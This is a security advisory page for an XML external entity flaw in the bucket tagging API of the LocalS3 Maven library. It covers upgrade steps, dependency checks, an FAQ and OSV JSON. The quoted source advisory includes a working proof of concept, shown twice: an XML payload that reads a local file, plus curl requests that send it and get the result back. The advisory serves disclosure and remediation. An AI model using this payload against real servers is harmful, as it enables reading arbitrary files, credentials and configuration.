GHSA-v232-254c-m6p7: Local s3 rest LocalS3 Project Vulnerable To XML Vulnerability

MODERATE
CWE-611
Published
Advisory Summary

GHSA-v232-254c-m6p7 is a MODERATE locals3 project vulnerable to xml vulnerability (CWE-611: Improper Restriction of XML External Entity Reference) affecting Local s3 rest libraries in the Maven ecosystem. The issue involves locals3 project vulnerable to xml external entity (xxe) injection via bucket tagging api. Remediation is available by upgrading affected packages to version 1.21.

GHSA-v232-254c-m6p7 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-v232-254c-m6p7
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-611: Improper Restriction of XML External Entity Reference
Affected Product Local s3 rest
Package Ecosystem Maven
Published Date
Last Updated

How to Fix GHSA-v232-254c-m6p7

To remediate this vulnerability, upgrade all affected Local s3 rest dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

io.github.robothy:local-s3-rest fixed: 1.21
<dependency>
    <groupId>io.github.robothy</groupId>
    <artifactId>local-s3-rest</artifactId>
    <version>1.21</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=io.github.robothy

How to Check if You Are Affected

To determine whether your Java application is affected by GHSA-v232-254c-m6p7, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=io.github.robothy

Analyze the terminal output to locate any version of Local s3 rest in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.21), your application is affected.

Note: The mvn dependency:tree -Dincludes=io.github.robothy command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-611: Improper Restriction of XML External Entity Reference, where the product processes an xml document that can contain xml entities with uris that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output. In Local s3 rest, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Description The LocalS3 project, an S3-compatible storage service, is vulnerable to XML External Entity (XXE) injection through its bucket tagging API. The vulnerability exists because the application processes XML input without properly disabling external entity resolution. When processing XML data for bucket tagging operations, the application allows the definition and resolution of external entities. This vulnerability allows an attacker to read arbitrary files from the server's filesystem by defining an external entity that references local files. The vulnerability is particularly severe because it allows direct access to sensitive files on the server's filesystem, bypassing any intended access controls. The XXE vulnerability can be exploited to read any file that the application process has access to, potentially exposing sensitive configuration files, credentials, or other confidential information. ## Steps to Reproduce 1. Create a bucket in the LocalS3 service using any S3 client (e.g., AWS CLI, boto3) 2. Send a PUT request to the bucket tagging endpoint with the following XML payload: ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///flag.txt" > ]> <Tagging><TagSet><Tag><Key>xxe</Key><Value>&xxe;</Value></Tag></TagSet></Tagging> ``` ``` curl -X PUT \ -H "Host: app" \ -H "Authorization: AWS dummy:dummy" \ -H "Content-Type: application/xml" \ --data-binary @xxe.xml \ http://app/bucket?tagging ``` 3. Retrieve the bucket tags using a GET request to the same endpoint ``` curl -H "Authorization: AWS dummy:dummy" http://app-1/bucket?tagging ``` 4. The content of the targeted file will be returned in the tag value The successful exploitation of this vulnerability results in the contents of sensitive files being disclosed through the XML response, demonstrating the ability to read arbitrary files from the server's filesystem. ## Mitigations - Disable XML external entity resolution in the XML parser configuration - Implement proper XML parsing security controls such as disabling DTD processing altogether - Use a safe parser configuration that doesn't process external entities or DTDs by default - Validate and sanitize all XML input before processing to prevent injection of malicious entities ## Impact Critical severity vulnerability allowing unauthenticated attackers to read arbitrary files from the server's filesystem. This can lead to exposure of sensitive information, configuration files, and system data, potentially enabling further attacks against the system. The impact is heightened by the fact that the vulnerability requires minimal technical knowledge to exploit and can be triggered through standard S3 API operations.

GHSA-v232-254c-m6p7 Affected Local s3 rest Versions

1 component(s)
Fixed Versions:
1.21
Product / Package Ecosystem Affected Versions Fixed Version
io.github.robothy:local-s3-rest
Maven
< 1.21
1.21

References

Frequently Asked Questions

What is GHSA-v232-254c-m6p7?
GHSA-v232-254c-m6p7 is a security vulnerability in Local s3 rest involving LocalS3 Project Vulnerable to XML External Entity (XXE) Injection via Bucket Tagging API under CWE-611: Improper Restriction of XML External Entity Reference.
Which Local s3 rest versions are affected?
Affected versions include releases prior to 1.21 across affected packages: io.github.robothy:local-s3-rest.
What version fixes GHSA-v232-254c-m6p7?
Upgrading to 1.21 (or the latest patched release for your respective branch) resolves the vulnerability.
Is local-s3-rest affected?
Yes, io.github.robothy:local-s3-rest is affected in releases prior to 1.21. Upgrade your dependency to 1.21 or later.
What CWE is associated with GHSA-v232-254c-m6p7?
GHSA-v232-254c-m6p7 is classified under CWE-611: Improper Restriction of XML External Entity Reference (The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.).
How can I check Maven dependencies for GHSA-v232-254c-m6p7?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=io.github.robothy'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v232-254c-m6p7",
  "modified" : "2025-03-10T18:29:27Z",
  "published" : "2025-03-10T18:29:27Z",
  "aliases" : [ ],
  "summary" : "LocalS3 Project Vulnerable to XML External Entity (XXE) Injection via Bucket Tagging API",
  "details" : "## Description\nThe LocalS3 project, an S3-compatible storage service, is vulnerable to XML External Entity (XXE) injection through its bucket tagging API. The vulnerability exists because the application processes XML input without properly disabling external entity resolution.\n\nWhen processing XML data for bucket tagging operations, the application allows the definition and resolution of external entities. This vulnerability allows an attacker to read arbitrary files from the server's filesystem by defining an external entity that references local files.\n\nThe vulnerability is particularly severe because it allows direct access to sensitive files on the server's filesystem, bypassing any intended access controls. The XXE vulnerability can be exploited to read any file that the application process has access to, potentially exposing sensitive configuration files, credentials, or other confidential information.\n\n## Steps to Reproduce\n1. Create a bucket in the LocalS3 service using any S3 client (e.g., AWS CLI, boto3)\n2. Send a PUT request to the bucket tagging endpoint with the following XML payload:\n   ```xml\n   <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n   <!DOCTYPE data [\n       <!ENTITY xxe SYSTEM \"file:///flag.txt\" >\n   ]>\n   <Tagging><TagSet><Tag><Key>xxe</Key><Value>&xxe;</Value></Tag></TagSet></Tagging>\n   ```\n\n    ```\n    curl -X PUT \\\n         -H \"Host: app\" \\\n         -H \"Authorization: AWS dummy:dummy\" \\\n         -H \"Content-Type: application/xml\" \\\n         --data-binary @xxe.xml \\\n         http://app/bucket?tagging\n    ```\n\n3. Retrieve the bucket tags using a GET request to the same endpoint\n\n    ```\n    curl -H \"Authorization: AWS dummy:dummy\" http://app-1/bucket?tagging\n    ```\n\n4. The content of the targeted file will be returned in the tag value\n\nThe successful exploitation of this vulnerability results in the contents of sensitive files being disclosed through the XML response, demonstrating the ability to read arbitrary files from the server's filesystem.\n\n## Mitigations\n- Disable XML external entity resolution in the XML parser configuration\n- Implement proper XML parsing security controls such as disabling DTD processing altogether\n- Use a safe parser configuration that doesn't process external entities or DTDs by default\n- Validate and sanitize all XML input before processing to prevent injection of malicious entities\n\n## Impact\nCritical severity vulnerability allowing unauthenticated attackers to read arbitrary files from the server's filesystem. This can lead to exposure of sensitive information, configuration files, and system data, potentially enabling further attacks against the system. The impact is heightened by the fact that the vulnerability requires minimal technical knowledge to exploit and can be triggered through standard S3 API operations.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "io.github.robothy:local-s3-rest"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.21"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Robothy/local-s3/security/advisories/GHSA-v232-254c-m6p7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Robothy/local-s3/commit/d6ed756ceb30c1eb9d4263321ac683d734f8836f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Robothy/local-s3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-611" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-03-10T18:29:27Z",
    "nvd_published_at" : null
  }
}